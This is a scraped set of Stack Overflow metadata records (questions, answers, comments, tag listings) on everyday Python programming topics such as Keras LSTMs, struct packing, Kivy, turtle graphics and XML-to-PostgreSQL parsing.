type: Question
has answer: http://stackoverflow.com/a/56562164
upvote count: 9
score: 9
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/56198670
tagged with: python
linked to: http://stackoverflow.com/q/42585356
tagged with: lstm
has body: I have a LSTM model (keras) that receives as input the past 20 values of 6 variables and predicts the future 4 values for 3 of those variables. In other words, I have 6 time series and I'm trying to predict the future values of them using their 20 past values. The basic code is: past_time_steps = 6 future_time_steps = 4 inputs = Input(shape=(20,past_time_steps)) m = LSTM(hid, return_sequences=True)(inputs) m = Dropout(0.5)(m) m = LSTM(hid)(m) m = Dropout(0.5)(m) outputA = Dense(future_time_steps, activation='linear', W_constraint=nonneg())(m) outputB = Dense(future_time_steps, activation='linear', W_constraint=nonneg())(m) outputC = Dense(future_time_steps, activation='linear', W_constraint=nonneg())(m) m = Model(inputs=[inputs], outputs=[outputA, outputB, outputC]) m.compile(optimizer='adam', loss='mae') m.fit(x,[y1,y2, y2]) So, the input is a numpy matrix with shape (500,20,6) where 500 represents the number of samples (e.g. training time series). Now, I have new data available, so for each time series I have a categorical variable (that can takes 6 values: 0,1,2,3,4,5). How can I add this information to the model? Can I add another layer that uses this variable? Should I pad this variable at the beginning/end of the time series so that I'd have an input matrix with shape (500,21,6)?
tagged with: categorical-data
answer count: 2
tagged with: deep-learning
has title: Categorical variable for time series prediction with LSTM and keras
downvote count: 0

http://stackoverflow.com/comment/85896315
type: QuestionComment
comment on: http://stackoverflow.com/q/49447182
score: 1
has text: Since [Python lists are array-based](https://stackoverflow.com/questions/3917574/how-is-pythons-list-implemented), the difference will most likely be negligible in any case. For practical purposes it will probably always be more relevant which way is more readable or less error-prone. I suppose the question is technically valid, though, if only as a curiosity.
type: Comment

http://stackoverflow.com/comment/85951842
has text: if you dont mind me asking, can i ask you for any of you social media accounts.. i mean really i am not only new to programming but also new to this site. this site is cool but i guess i will have sevaral more problems related to python and i would love to ask you directly for some help! it will be great for me!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49474416

http://stackoverflow.com/comment/86218249
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49589876
has text: Possible duplicate of [unknown error: chrome failed to start](https://stackoverflow.com/questions/47142311/unknown-error-chrome-failed-to-start)

django-models
tag name: django-models
tags question: http://stackoverflow.com/q/49451626
tags question: http://stackoverflow.com/q/49519199
tags question: http://stackoverflow.com/q/49542448
tags question: http://stackoverflow.com/q/49489993
tags question: http://stackoverflow.com/q/49519256
tags question: http://stackoverflow.com/q/49578700
tags question: http://stackoverflow.com/q/49479958
tags question: http://stackoverflow.com/q/49539319
tags question: http://stackoverflow.com/q/49493498
tags question: http://stackoverflow.com/q/49557411
tags question: http://stackoverflow.com/q/49573112
tags question: http://stackoverflow.com/q/49479075
tags question: http://stackoverflow.com/q/49589983
tags question: http://stackoverflow.com/q/49473206
tags question: http://stackoverflow.com/q/49507921
tags question: http://stackoverflow.com/q/49579167
tags question: http://stackoverflow.com/q/49454404
tags question: http://stackoverflow.com/q/49599419
tags question: http://stackoverflow.com/q/49596693
tags question: http://stackoverflow.com/q/49461533
tags question: http://stackoverflow.com/q/49550834
tags question: http://stackoverflow.com/q/49463341
tags question: http://stackoverflow.com/q/49451987
tags question: http://stackoverflow.com/q/49490854
tags question: http://stackoverflow.com/q/49449023
tags question: http://stackoverflow.com/q/49587586
tags question: http://stackoverflow.com/q/49584809
type: Tag

http://stackoverflow.com/comment/85887694
type: QuestionComment
comment on: http://stackoverflow.com/q/49442713
score: 0
has text: You should add enough details to your question that the problem can be replicated. Also what makes you think it is a problem with your (unprovided) code and not with the application or the VM?
type: Comment

python
tags question: http://stackoverflow.com/q/49459985
tags question: http://stackoverflow.com/q/49524270
tags question: http://stackoverflow.com/q/49458189
tags question: http://stackoverflow.com/q/49568025
tags question: http://stackoverflow.com/q/49478142
tags question: http://stackoverflow.com/q/49535107
tags question: http://stackoverflow.com/q/49582379
tags question: http://stackoverflow.com/q/49453847
tags question: http://stackoverflow.com/q/49451392
tags question: http://stackoverflow.com/q/49553423
tags question: http://stackoverflow.com/q/49563445
tags question: http://stackoverflow.com/q/49445656
tags question: http://stackoverflow.com/q/49457893
tags question: http://stackoverflow.com/q/49488119
tags question: http://stackoverflow.com/q/49524396
tags question: http://stackoverflow.com/q/49449011
tags question: http://stackoverflow.com/q/49483382
tags question: http://stackoverflow.com/q/49539866
tags question: http://stackoverflow.com/q/49516779
tags question: http://stackoverflow.com/q/49513344
tags question: http://stackoverflow.com/q/49476419
tags question: http://stackoverflow.com/q/49461676
tags question: http://stackoverflow.com/q/49482383
tags question: http://stackoverflow.com/q/49597369
tags question: http://stackoverflow.com/q/49563571
tags question: http://stackoverflow.com/q/49482413
tags question: http://stackoverflow.com/q/49550081
tags question: http://stackoverflow.com/q/49490782
tags question: http://stackoverflow.com/q/49534490
tags question: http://stackoverflow.com/q/49475541
tags question: http://stackoverflow.com/q/49460858
tags question: http://stackoverflow.com/q/49556678
tags question: http://stackoverflow.com/q/49577901
tags question: http://stackoverflow.com/q/49591987
tags question: http://stackoverflow.com/q/49492318
tags question: http://stackoverflow.com/q/49492655
tags question: http://stackoverflow.com/q/49599539
tags question: http://stackoverflow.com/q/49481344
tags question: http://stackoverflow.com/q/49593657
tags question: http://stackoverflow.com/q/49574820
tags question: http://stackoverflow.com/q/49596478
tags question: http://stackoverflow.com/q/49507567
tags question: http://stackoverflow.com/q/49505703
tags question: http://stackoverflow.com/q/49572035
tags question: http://stackoverflow.com/q/49590189
tags question: http://stackoverflow.com/q/49508903
tags question: http://stackoverflow.com/q/49542427
tags question: http://stackoverflow.com/q/49567527
tags question: http://stackoverflow.com/q/49452567
tags question: http://stackoverflow.com/q/49572658
tags question: http://stackoverflow.com/q/49533808
tags question: http://stackoverflow.com/q/49508788
tags question: http://stackoverflow.com/q/49495336
tags question: http://stackoverflow.com/q/49540507
tags question: http://stackoverflow.com/q/49517317
tags question: http://stackoverflow.com/q/49457035
tags question: http://stackoverflow.com/q/49470004
tags question: http://stackoverflow.com/q/49581080
tags question: http://stackoverflow.com/q/49574040
tags question: http://stackoverflow.com/q/49472920
tags question: http://stackoverflow.com/q/49539928
tags question: http://stackoverflow.com/q/49547435
tags question: http://stackoverflow.com/q/49488135
tags question: http://stackoverflow.com/q/49567550
tags question: http://stackoverflow.com/q/49549894
tags question: http://stackoverflow.com/q/49510289
tags question: http://stackoverflow.com/q/49485935
tags question: http://stackoverflow.com/q/49562783
tags question: http://stackoverflow.com/q/49464114
tags question: http://stackoverflow.com/q/49451736
tags question: http://stackoverflow.com/q/49493468
tags question: http://stackoverflow.com/q/49451731
tags question: http://stackoverflow.com/q/49555779
tags question: http://stackoverflow.com/q/49485026
tags question: http://stackoverflow.com/q/49535937
tags question: http://stackoverflow.com/q/49457558
tags question: http://stackoverflow.com/q/49582962
tags question: http://stackoverflow.com/q/49593015
tags question: http://stackoverflow.com/q/49510618
tags question: http://stackoverflow.com/q/49440476

http://stackoverflow.com/q/49440727
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49440899
downvote count: 0
score: 1
upvote count: 1
has body: DETAILS I'm trying to understand a network program that implements the selective repeat (SR) protocol. Here's the process: Run server.py by specifying a port number, protocol, and window size Run client.py by specifying a filename, port number, and number of packets When I run client.py, I receive this error: Traceback (most recent call last): File "client.py", line 238, in &lt;module&gt; cs = pack('IHH' + str(len(data)), 's', seqNum, header, data) struct.error: repeat count given without format specifier Here's the block of code that's tripping me up: while not sendComplete: toSend = lastInWindow + 1 data = GetMessage() header = int('0101010101010101', 2) cs = pack('IHH' + str(len(data)), 's', seqNum, header, data) checksum = CalculateChecksum(cs) packet = pack('IHH' + str(len(data)) + 's', seqNum, checksum, header, data) if toSend &lt; windowSize: sendBuffer.append(packet) timeoutTimers.append(TIMEOUT) else: sendBuffer[toSend % windowSize] = packet timeoutTimers[toSend % windowSize] = TIMEOUT TROUBLESHOOTING I've taken several steps to fix this issue, all of which have failed (obviously), and I'm not sure if I'm getting closer to the light or heading deeper into the woods. Using struct.pack(fmt=...) as suggested by PyCharm Per PyCharm's advice, I concatenate the arguments using a + I run the program again and receive a TypeError: must be str, not int error, which I attempt to fix by implementing str(seqNum), str(header), etc. Finally, I get a TypeError: pack() takes no keyword arguments response and throw in the towel. I'd really appreciate it if someone could explain what's going on here and how I can get this program up and running.
has answer: http://stackoverflow.com/a/49440899
answer count: 1
favorite count: 0
tagged with: struct
has title: struct.error: repeat count given without format specifier
tagged with: network-programming
type: Question
tagged with: python

http://stackoverflow.com/comment/86005878
has text: @AntonvBR, i added the data as string and program crushed :d... i think its too much data
score: 0
comment on: http://stackoverflow.com/a/49498865
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49455745
type: Question
tagged with: python-3.x
tagged with: python
tagged with: kivy
accepted answer: http://stackoverflow.com/a/49470069
has body: I am trying to make a screen view with buttons. The problem is that the amount of buttons needed each time will change, therefore I am not able to use the kv file to make theses buttons. I am having trouble adding buttons through the normal python code. Any help is appreciated. import kivy import webbrowser import MSQLHandler kivy.require('1.10.0') from kivy.app import App from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.button import Label from kivy.uix.widget import Widget from kivy.uix.listview import ListItemButton from kivy.properties import ObjectProperty from kivy.lang import Builder from kivy.uix.screenmanager import ScreenManager, Screen, SlideTransition, CardTransition, SwapTransition, FadeTransition, WipeTransition, FallOutTransition, RiseInTransition, NoTransition from kivy.lang import Builder from kivy.uix.button import Button class Login_Failed(Screen): def changeScreen(self, next_screen): self.manager.current = next_screen class Loged_In(Screen): def changeScreen(self, next_screen): self.manager.current = next_screen class Registers(Screen): def changeScreen(self, next_screen): self.manager.current = next_screen class Login_Screen(Screen): teacher_connect_image = ObjectProperty() username_text_input = ObjectProperty() password_text_input = ObjectProperty() teacherid_text_input = ObjectProperty() def LoginButton(self): if self.teacherid_text_input.text == "": Number = 0 else: Number = int(self.teacherid_text_input.text) MSQLHandler.LoginSystem(self.username_text_input.text, self.password_text_input.text, Number) def changeScreen(self, next_screen): self.manager.current = next_screen if MSQLHandler.LoginSystem(self.username_text_input.text, self.password_text_input.text, Number) is True: print("Returns True") changeScreen(self, "Loged_In") elif MSQLHandler.LoginSystem(self.username_text_input.text, self.password_text_input.text, Number) is False: print("Returns False") changeScreen(self, "Login_Failed") e…
has answer: http://stackoverflow.com/a/49470069
type: AnsweredQuestion
tagged with: python-2.7
tagged with: kivy-language
score: 0
answer count: 1
has title: Kivy - Adding Buttons To Screen Through Python

http://stackoverflow.com/q/49587546
favorite count: 0
type: Question
tagged with: turtle-graphics
upvote count: 2
has answer: http://stackoverflow.com/a/49590103
tagged with: python
downvote count: 1
tagged with: runtime-error
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49590103
has title: Python Terminator Error
has body: I'm working on a Python project with a friend of mine for school. We have imported Turtle and Math. My problem is that when I use the "Esc" button to close the window, I get an error saying "Terminator Error"... I've asked the teachers but even they don't know what the problem is because they aren't very familiar with Turtle. Could any of you guys tell me what I'm doing wrong ? btw : I'm using EduPython on Windows 10. Here is the code : import turtle import math fn = turtle.Screen() fn.bgcolor("black") fn.title("No Escape !") fn.setup(700, 700) images = ["right.gif", "left.gif", "face.gif", "back.gif", "tresor.gif", "mur.gif", "sol.gif"] for image in images: # On ajoute l'image a notre labyrinthe. fn.addshape(image) turtle.shape(image) # On retire les mises a jour et deplace l'image de base qui etait au centre. fn.tracer(0) turtle.goto(-700, -700) class Stylo(turtle.Turtle): def __init__(self): turtle.Turtle.__init__(self) self.shape("square") self.color("white") self.penup() self.speed(0) def closefn(): turtle.bye() class Joueur(turtle.Turtle): def __init__(self): turtle.Turtle.__init__(self) self.shape("face.gif") self.color("blue") self.penup() self.speed(0) def haut(self): move_to_x = self.xcor() move_to_y = self.ycor() + 24 self.shape("back.gif") if (move_to_x, move_to_y) not in murs: self.goto(move_to_x, move_to_y) def bas(self): move_to_x = self.xcor() move_to_y = self.ycor() - 24 self.shape("face.gif") if (move_to_x, move_to_y) not in murs: self.goto(move_to_x, move_to_y) def gauche(self): move_to_x = self.xcor() - 24 move_to_y = self.ycor() self.shape("left.gif") if (move_to_x, move_to_y) not in murs: self.goto(move_to_x, move_to_y) def droite(self): move_to_x = self.xcor() + 24 move_to_y = self.ycor() self.shape("right.gif") if (move_to_x, move_to_y) not in murs: self.goto(move_to_x, move_to_y) def collision(self, other): a = self.xcor()-other.xcor() b = self.ycor()-other.ycor() distance = math.sqrt((a ** 2) + (b ** 2)) if distance &lt; 5: return True else…
score: 1
answer count: 1

http://stackoverflow.com/a/49494964
has body: This is the way that makes sense for most devs using inlineCallbacks try: key_data = yield threads.deferToThread(self.discovery.find_key, self.userdata) except Exception as e: log.exception('Unable to get key_data') returnValue(e) Another way would be to chain callback using addCallback (success) and addErrback (failure). So you should be able to do something like this: d = threads.deferToThread(self.discovery.find_key, self.userdata) # notice there's no yield d.addCallback(success_callback) d.addErrback(failure_callback) key_data = yield d Helpful Links http://twistedmatrix.com/documents/current/core/howto/defer-intro.html#simple-failure-handling http://twistedmatrix.com/documents/current/core/howto/threading.html
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49491568
upvote count: 4
has comment: http://stackoverflow.com/comment/85996598
has comment: http://stackoverflow.com/comment/86001162
downvote count: 0

http://stackoverflow.com/comment/86197513
has text: Whether or not `list` objects are mutable is irrelevant. Assignment **always** works the exact same way. A nitpick.
type: Comment
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/49595093

http://stackoverflow.com/comment/86200767
score: 1
comment on: http://stackoverflow.com/a/49596711
has text: You have a bunch of typos in there (`str,replace`) and if I try on the input `['!foo', 'bar!']` it throws a ValueError. `str.replace` is also not the right tool for the job, because it will replace _all_ occurences of the exclamation mark. If there's a word like `"!fo!o"` in the list, the result would contain `"foo"` instead of `"fo!o"`.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49500337
score: 2
has comment: http://stackoverflow.com/comment/86005215
type: AcceptedAnswer
has body: Here is my suggestion, not optimized at all but easily readable and understandable, without any additional package to import: l = [[3,4], [2,3], [1,2], [1,3], [1,2]] # Sort by first then second element of sub-lists l.sort(key=lambda x:(x[0],x[1])) print(l) # Get a list with the first equal sorted sub-lists s = [l[0]]* l.count(l[0]) print(s)
has comment: http://stackoverflow.com/comment/86005331
has comment: http://stackoverflow.com/comment/86005126
accepted answer of: http://stackoverflow.com/q/49500050
upvote count: 2
has comment: http://stackoverflow.com/comment/86005006
has comment: http://stackoverflow.com/comment/86005277
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49500050

http://stackoverflow.com/a/49481106
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
has body: You can use boolean indexing: &gt;&gt;&gt; def select(X, r, lower1, upper1): ... m = X.shape[0] ... count = 0 ... for j in range(m): ... if ((X[j,r]&gt;lower1) &amp; (X[j,r]&lt;upper1)): ... count=count+1 ... if count==1: ... X_subset=X[j,:] ... else: ... X_subset=np.vstack([X_subset,X[j,:]]) ... return X_subset ... # an example &gt;&gt;&gt; X = np.random.random((5, 5)) &gt;&gt;&gt; r = 2 &gt;&gt;&gt; l, u = 0.4, 0.8 # your method: &gt;&gt;&gt; select(X, r, l, u) array([[0.35279849, 0.80630909, 0.67111171, 0.59768928, 0.71130907], [0.3013973 , 0.15820738, 0.69827899, 0.69536766, 0.70500236], [0.07456726, 0.51917318, 0.58905997, 0.93859414, 0.47375552], [0.27942043, 0.62996422, 0.78499397, 0.52212271, 0.51194071]]) # boolean indexing: &gt;&gt;&gt; X[(X[:, r] &gt; l) &amp; (X[:, r] &lt; u)] array([[0.35279849, 0.80630909, 0.67111171, 0.59768928, 0.71130907], [0.3013973 , 0.15820738, 0.69827899, 0.69536766, 0.70500236], [0.07456726, 0.51917318, 0.58905997, 0.93859414, 0.47375552], [0.27942043, 0.62996422, 0.78499397, 0.52212271, 0.51194071]])
accepted answer of: http://stackoverflow.com/q/49480884
has comment: http://stackoverflow.com/comment/85965085
answers question: http://stackoverflow.com/q/49480884
score: 1

http://stackoverflow.com/q/49520287
has comment: http://stackoverflow.com/comment/86130111
has comment: http://stackoverflow.com/comment/86132442
has comment: http://stackoverflow.com/comment/86083515
favorite count: 0
has answer: http://stackoverflow.com/a/49520873
possible better answer: http://stackoverflow.com/a/49520873
linked to: http://stackoverflow.com/q/14746750
type: Question
has comment: http://stackoverflow.com/comment/86047464
has comment: http://stackoverflow.com/comment/86130512
has comment: http://stackoverflow.com/comment/86046412
linked to: http://stackoverflow.com/q/22676
has comment: http://stackoverflow.com/comment/86047324
has comment: http://stackoverflow.com/comment/86088380
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has comment: http://stackoverflow.com/comment/86089684
has answer: http://stackoverflow.com/a/49562014
accepted answer: http://stackoverflow.com/a/49562014
has title: Python script to download file from button on website
has comment: http://stackoverflow.com/comment/86087431
score: 2
has comment: http://stackoverflow.com/comment/86128913
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86046665
has comment: http://stackoverflow.com/comment/86090942
has comment: http://stackoverflow.com/comment/86086627
answer count: 2
has comment: http://stackoverflow.com/comment/86088731
has comment: http://stackoverflow.com/comment/86087558
linked to: http://stackoverflow.com/q/13147914
has comment: http://stackoverflow.com/comment/86090924
downvote count: 0
has comment: http://stackoverflow.com/comment/86086183
has comment: http://stackoverflow.com/comment/86090789
has comment: http://stackoverflow.com/comment/86085091
has body: I want to download an xls file by clicking the button "Export to excel" from the following url: https://apps.tampagov.net/CallsForService_Webapp/Default.aspx?type=TPD. More specifically the button: name = "ctl00$MainContent$btndata". I've already been able to do this using selenium, but, I plan on building a docker image with this script and running as a docker container because this xls is regularly updated and I need the most current data on my local machine and it doesn't make sense to have a browser open that often to fetch this data. I understand there are headless versions of chrome and firefox although I don't believe they support downloads. Also, I understand that web get will not work in this situation because the button is not a static link to the resource. Maybe there's a completely different approach for downloading and updating this data to my computer? import urllib import requests from bs4 import BeautifulSoup headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=.08', 'Origin': 'https://www.tampagov.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': 'https://apps.tampagov.net/CallsForService_Webapp/Default.aspx?type=TPD', 'Accept-Encoding': 'gzip,deflate,br', 'Accept-Language': 'en-US,en;q=0.5', } class MyOpener(urllib.FancyURLopener): version = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17' myopener = MyOpener() url = 'https://apps.tampagov.net/CallsForService_Webapp/Default.aspx?type=TPD' # first HTTP request without form data f = myopener.open(url) soup = BeautifulSoup(f, "html.parser") # parse and retrieve two vital form values viewstate = soup.select("#__VIEWSTATE")[0]['value'] eventvalidation = soup.select("#__EVENTVALIDATION")[0]['value'] formData = ( ('__EVENTVALIDATION', eventvalidation), ('__VIEWSTATE', viewstate), ('Acce…

http://stackoverflow.com/comment/85947992
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49472651
has text: You cant just make up a variable called `user` and expect it to magically contain the data it needs! :'( You need to define `user` somewhere or just pull from request form data
score: 0

http://stackoverflow.com/q/49528092
has comment: http://stackoverflow.com/comment/86564715
tagged with: odoo-10
has comment: http://stackoverflow.com/comment/86572302
has comment: http://stackoverflow.com/comment/86067970
has comment: http://stackoverflow.com/comment/86564806
has comment: http://stackoverflow.com/comment/86066820
has comment: http://stackoverflow.com/comment/86069056
has comment: http://stackoverflow.com/comment/86068567
has comment: http://stackoverflow.com/comment/86069298
has comment: http://stackoverflow.com/comment/86484159
answer count: 1
has comment: http://stackoverflow.com/comment/86354043
upvote count: 1
linked to: http://stackoverflow.com/q/49777308
has comment: http://stackoverflow.com/comment/86266833
has comment: http://stackoverflow.com/comment/86564761
has comment: http://stackoverflow.com/comment/86354522
downvote count: 1
has comment: http://stackoverflow.com/comment/86068521
has comment: http://stackoverflow.com/comment/86355221
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86356983
has comment: http://stackoverflow.com/comment/86354046
has comment: http://stackoverflow.com/comment/86354213
has comment: http://stackoverflow.com/comment/86354255
has comment: http://stackoverflow.com/comment/86068114
has title: Fetch Employee records from One model to another in ODOO 10
has comment: http://stackoverflow.com/comment/86507353
has comment: http://stackoverflow.com/comment/86354810
type: UnansweredQuestion
tagged with: odoo
has comment: http://stackoverflow.com/comment/86564849
has comment: http://stackoverflow.com/comment/86354592
has comment: http://stackoverflow.com/comment/86509092
has answer: http://stackoverflow.com/a/49531638
has comment: http://stackoverflow.com/comment/86354008
has comment: http://stackoverflow.com/comment/86354086
has comment: http://stackoverflow.com/comment/86354165
tagged with: python
has comment: http://stackoverflow.com/comment/86257496
has comment: http://stackoverflow.com/comment/86069000
has comment: http://stackoverflow.com/comment/86354064
has comment: http://stackoverflow.com/comment/86353990
has body: How to create records directly from hr employee model into my new model. In hr model I have some employee records, I have to retrieve those records and store into my new model by code. Please help me.
has comment: http://stackoverflow.com/comment/86509095
score: 0
has comment: http://stackoverflow.com/comment/86902406

http://stackoverflow.com/comment/86105974
type: QuestionComment
comment on: http://stackoverflow.com/q/49549243
score: 0
type: Comment
has text: @mehrdad-pedramfar I updated it with the view, also how do you fix it with a decorator?

http://stackoverflow.com/comment/86007059
type: AnswerComment
comment on: http://stackoverflow.com/a/49501428
has text: @Joel I do not believe this adds much to the answer, but ok.
score: 0
type: Comment

http://stackoverflow.com/q/49512030
type: UnansweredQuestion
has body: I have big XML files to parse (about 200k lines and 10MB). The structure is following: ... ... ... ... <el5-1>... ... Here is my code: tree = ElementTree.parse(filename) doc = tree.getroot() cursor.execute( 'INSERT INTO first_table() VALUES()', ()) cursor.execute('SELECT id FROM first_table ORDER BY id DESC limit 1') row = cursor.fetchone() v_id1 = row[0] for el1 in doc.findall('EL1'): cursor.execute( 'INSERT INTO second_table() VALUES(v_id1)', (v_id1)) cursor.execute( 'SELECT id FROM second_table ORDER BY id DESC limit 1') row = cursor.fetchone() v_id2 = row[0] for el2 in el1.findall('EL2'): cursor.execute( 'INSERT INTO third_table(v_id2) VALUES()', (v_id2)) cursor.execute( 'SELECT id FROM third_table ORDER BY id DESC limit 1') row = cursor.fetchone() v_id3 = row[0] for el3 in el2.findall('EL3'): cursor.execute( 'INSERT INTO fourth_table(v_id3) VALUES()', (v_id3)) cursor.execute( 'SELECT id FROM fourth_table ORDER BY id DESC limit 1') row = cursor.fetchone() v_id4 = row[0] for el4 in el3.findall('EL4'): cursor.execute( 'INSERT INTO fifth_table(v_id4) VALUES()', (v_id4)) for el5 in el4.findall('EL5'): cursor.execute( 'INSERT INTO sixth_table(v_id4) VALUES()', (v_id4)) cursor.execute( 'SELECT id FROM sixth_table ORDER BY id DESC limit 1') row = cursor.fetchone() v_id5 = row[0] ... conn.commit() Basically I get values from attributes and send them into the database. When I need to process nested elements, I have to SELECT last inserted ID from the database and INSERT it as a foreign key into the next INSERT statement. The whole process takes about 50s but apparently it's too long for the data I have. The SELECT statements for sure take some time, but I already selecting only 1 attribute on last row. I don't know if it can be faster since I'm not good at programming so I ask you guys.
tagged with: python
has title: what slows down parsing?
has comment: http://stackoverflow.com/comment/86034872
tagged with: postgresql
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86028279
has comment: http://stackoverflow.com/comment/86028554
has comment: http://stackoverflow.com/comment/86028303
type: Question
has answer: http://stackoverflow.com/a/49512131

http://stackoverflow.com/a/49580924
score: 1
has comment: http://stackoverflow.com/comment/86170337
has comment: http://stackoverflow.com/comment/86170373
answers question: http://stackoverflow.com/q/49580800
has comment: http://stackoverflow.com/comment/86170629
has comment: http://stackoverflow.com/comment/86169862
has comment: http://stackoverflow.com/comment/86170372
type: Answer
has comment: http://stackoverflow.com/comment/86170316
has comment: http://stackoverflow.com/comment/86170346
has body: What you're trying to do doesn't really make any sense. You run the sub-scripts like this: execfile('Finaaal.py') #looped script 1 But execfile just runs that script in the current interpreter, not as a separate program. Which means there's no way script 1.sh could possibly kill Finaaal.py without also killing the controller script. The answer is simple—you've already imported subprocess, you just need to use it to run the sub-scripts instead of using execfile. And then you don't even need 1.sh and 2.sh scripts; you can just kill the processes directly: import subprocess import sys import time p = subprocess.Popen([sys.executable, 'Finaaal.py']) time.sleep(5.0) p.kill() p = subprocess.Popen([sys.executable, 'A.py']) time.sleep(5.0) p.kill() Since you've tagged your question both python-2.7 and python3.x, you probably need to think about which Python should be used to run the sub-scripts. Using sys.executable means it'll be the same one used to run the controller script, which is usually what you want (but if not, obviously do something different there, whether that's "hardcode python3" or "whatever the shbang says" or whatever's appropriate). (Since you appear to be on POSIX, you can even modify Finaaal.py and A.py to catch the SIGKILL and do some clean shutdown if you want. Or, if you want a hard shutdown instead of having that option, use terminate instead.)
has comment: http://stackoverflow.com/comment/86170278
has comment: http://stackoverflow.com/comment/86170265
downvote count: 0
has comment: http://stackoverflow.com/comment/86170668
upvote count: 1

http://stackoverflow.com/comment/86172922
score: 0
type: QuestionComment
has text: Welcome to Stack Overflow. Please take the [tour] and read about [ask], particularly about creating a [mcve].
comment on: http://stackoverflow.com/q/49582413
type: Comment

http://stackoverflow.com/comment/86037143
type: AnswerComment
comment on: http://stackoverflow.com/a/49515702
score: 1
has text: @JoeDoe Ok? I really can't see the problem. Which part of my code is preventing you from doing all of that? If you have any additional requirements that my code doesn't fulfill, please explain those requirements in detail - and not in the comments here, but in your question.
type: Comment

http://stackoverflow.com/q/49591618
score: 0
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
type: Question
has body: I can not find the appropriate syntax or method to do this, which is why I am reaching out. I am using python 2.7 lxml etree my code is similar to this: for y in mytree.iterfind('./level1/level2/level3/[2]'): print y.tag, y.text Essentially printing all of the available tags and text in the second iteration of the level. (I know how many there are, I am not having issues with indexing or making the function work). I am attempting to loop through them using 'i' as a defined variable (incrementally increasing 'i' to the defined number of items). This does not work: for y in mytree.iterfind('./level1/level2/level3/[i]'): print y.tag, y.text I also tried creating the string as a variable (concatenating the text with the 'i variable as a string, but python did not recognize that it was a function anymore. Any suggestions or help would be appreciated.
type: UnansweredQuestion
has title: Python etree iterfind trying to pass variable to function string
answer count: 1
has answer: http://stackoverflow.com/a/49592625
linked to: http://stackoverflow.com/q/5082452

http://stackoverflow.com/q/49479078
has comment: http://stackoverflow.com/comment/85968501
has title: Model training seems to get stuck?
has comment: http://stackoverflow.com/comment/85970324
tagged with: tensorflow
type: Question
has comment: http://stackoverflow.com/comment/86046329
type: UnansweredQuestion
tagged with: python
score: 0
answer count: 0
has body: I am using tensorflow version 1.5 on Windows 10. I am using the Tensorflow slim model of Inception V4 network which has been picked up from the Github page, using their pretrained weights and adding my own layers at the end to classify 120 different objects.The size of my training dataset is around 10,000 images each of 299*299*3. This is the complete code except the lines containing the import modules and dataset paths. tf.logging.set_verbosity(tf.logging.INFO) with slim.arg_scope(inception_blocks_v4.inception_v4_arg_scope()): X_input = tf.placeholder(tf.float32, shape = (None, image_size, image_size, 3)) Y_label = tf.placeholder(tf.float32, shape = (None, num_classes)) targets = convert_to_onehot(labels_dir, no_of_features = num_classes) targets = tf.convert_to_tensor(targets, dtype = tf.float32) Images = [] #TO STORE THE RESIZED IMAGES IN THE FORM OF LIST TO PASS IT TO tf.train.batch() images = glob.glob(images_file_path) i = 0 for my_img in images: image = mpimg.imread(my_img)[:, :, :3] image = tf.convert_to_tensor(image, dtype = tf.float32) Images.append(image) logits, end_points = inception_blocks_v4.inception_v4(inputs = X_input, num_classes = pre_num_classes, is_training = True, create_aux_logits= False) pretrained_weights = slim.assign_from_checkpoint_fn(ckpt_dir, slim.get_model_variables('InceptionV4')) with tf.Session() as sess: pretrained_weights(sess) #MY LAYERS, add bias as well my_layer = slim.fully_connected(logits, 560, activation_fn=tf.nn.relu, scope='myLayer1', weights_initializer = tf.truncated_normal_initializer(stddev = 0.001), weights_regularizer=slim.l2_regularizer(0.00005),biases_initializer = tf.truncated_normal_initializer(stddev=0.001), biases_regularizer=slim.l2_regularizer(0.00005)) my_layer = slim.dropout(my_layer, keep_prob = 0.6, scope = 'myLayer2') my_layer = slim.fully_connected(my_layer, num_classes,activation_fn = tf.nn.relu,scope= 'myLayer3', weights_initializer = tf.truncated_normal_initializer(stddev=0.001), weights_regularize…

pandas
tags question: http://stackoverflow.com/q/49572579
tags question: http://stackoverflow.com/q/49556507
tags question: http://stackoverflow.com/q/49551603
tags question: http://stackoverflow.com/q/49571382
tags question: http://stackoverflow.com/q/49508324
tags question: http://stackoverflow.com/q/49544207
tags question: http://stackoverflow.com/q/49517237
tags question: http://stackoverflow.com/q/49556157
tags question: http://stackoverflow.com/q/49539450
tags question: http://stackoverflow.com/q/49565544
tags question: http://stackoverflow.com/q/49460990
tags question: http://stackoverflow.com/q/49539775
tags question: http://stackoverflow.com/q/49538127
tags question: http://stackoverflow.com/q/49483669
tags question: http://stackoverflow.com/q/49471644
tags question: http://stackoverflow.com/q/49556135
tags question: http://stackoverflow.com/q/49483346
tags question: http://stackoverflow.com/q/49446544
tags question: http://stackoverflow.com/q/49587177
tags question: http://stackoverflow.com/q/49496120
tags question: http://stackoverflow.com/q/49510978
tags question: http://stackoverflow.com/q/49497113
tags question: http://stackoverflow.com/q/49483474
tags question: http://stackoverflow.com/q/49532222
tags question: http://stackoverflow.com/q/49466271
tags question: http://stackoverflow.com/q/49525479
tags question: http://stackoverflow.com/q/49467553
tags question: http://stackoverflow.com/q/49521882
tags question: http://stackoverflow.com/q/49466423
tags question: http://stackoverflow.com/q/49510042
